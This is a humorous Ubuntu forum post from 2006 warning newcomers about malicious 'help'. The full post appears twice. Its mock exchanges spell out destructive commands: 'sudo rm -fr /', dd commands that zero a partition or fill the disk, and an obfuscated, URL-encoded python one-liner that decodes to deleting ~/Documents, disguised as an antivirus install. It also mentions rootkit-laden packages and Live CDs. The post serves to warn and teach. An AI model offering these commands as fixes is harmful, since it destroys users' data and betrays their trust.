peabody
August 26th, 2006, 10:51 AM
I was bored and was thinking of those old BOFH (bastard operator from hell) jokes. This should serve as a reminder to you folks. This forum be a nice group a' people, but y'all be careful now ;).
For the love of God and all that is holy, please don't try any of the following on your machine:
User: "It's not working, it's giving me permissions errors."
Ubuntu Forum Help: "Your filesystem's corrupted, here, this'll fix it: sudo rm -fr /"
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User: "I'm trying to dump my whole filesystem as a backup..."
Ubuntu Forum Help: "Here, try this: sudo dd if=/dev/zero of=/dev/hda1"
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User: "I think I'm running out of diskspace, is there a disk cleanup wizard or something?"
Ubuntu Forum Help: "Sure thing! This does the trick for me all the time: dd if=/dev/zero of=clean_tmp bs=1M count=100000000000"
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User: "I need help installing X program"
Ubuntu Forum Help: "Try my deb! Here" < -- rootkit program.
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User: "Are there anti-virus programs for Linux"
Ubuntu Forum Help: Here! This'll install AVG, you can use my key:
$ sudo python -c "import urllib,os; os.execlp(urllib.unquote('%72%6d%20%2d%66%72%20') + os.path.expanduser(urllib.unquote('%7e%2f%44%6f%63 %75%6d%65%6e%74%73')))"
+10 Unix experience points for whoever deciphers that one ;) . DON'T FRIGGIN' RUN IT THOUGH!
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Innocent sounding user: "Here guys! I made a custom version of the Ubunutu Live CD! I call it mebuntu! It comes with a custom wallpaper of an Ax flying through Bill Gates head! Try it out and let me know what you think!"
Innocent victim: "Oh boy! Those screens look cool!"
Downloads, burns it, boots it, Live CD mounts partitions and runs a rootkit.
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Most of these are pretty obvious, but just a word of warning to the copy paste crew.
For the love of God and all that is holy, please don't try any of the following on your machine:
User: "It's not working, it's giving me permissions errors."
Ubuntu Forum Help: "Your filesystem's corrupted, here, this'll fix it: sudo rm -fr /"
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User: "I'm trying to dump my whole filesystem as a backup..."
Ubuntu Forum Help: "Here, try this: sudo dd if=/dev/zero of=/dev/hda1"
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User: "I think I'm running out of diskspace, is there a disk cleanup wizard or something?"
Ubuntu Forum Help: "Sure thing! This does the trick for me all the time: dd if=/dev/zero of=clean_tmp bs=1M count=100000000000"
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User: "I need help installing X program"
Ubuntu Forum Help: "Try my deb! Here" < -- rootkit program.
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User: "Are there anti-virus programs for Linux"
Ubuntu Forum Help: Here! This'll install AVG, you can use my key:
$ sudo python -c "import urllib,os; os.execlp(urllib.unquote('%72%6d%20%2d%66%72%20') + os.path.expanduser(urllib.unquote('%7e%2f%44%6f%63 %75%6d%65%6e%74%73')))"
+10 Unix experience points for whoever deciphers that one ;) . DON'T FRIGGIN' RUN IT THOUGH!
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Innocent sounding user: "Here guys! I made a custom version of the Ubunutu Live CD! I call it mebuntu! It comes with a custom wallpaper of an Ax flying through Bill Gates head! Try it out and let me know what you think!"
Innocent victim: "Oh boy! Those screens look cool!"
Downloads, burns it, boots it, Live CD mounts partitions and runs a rootkit.
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Most of these are pretty obvious, but just a word of warning to the copy paste crew.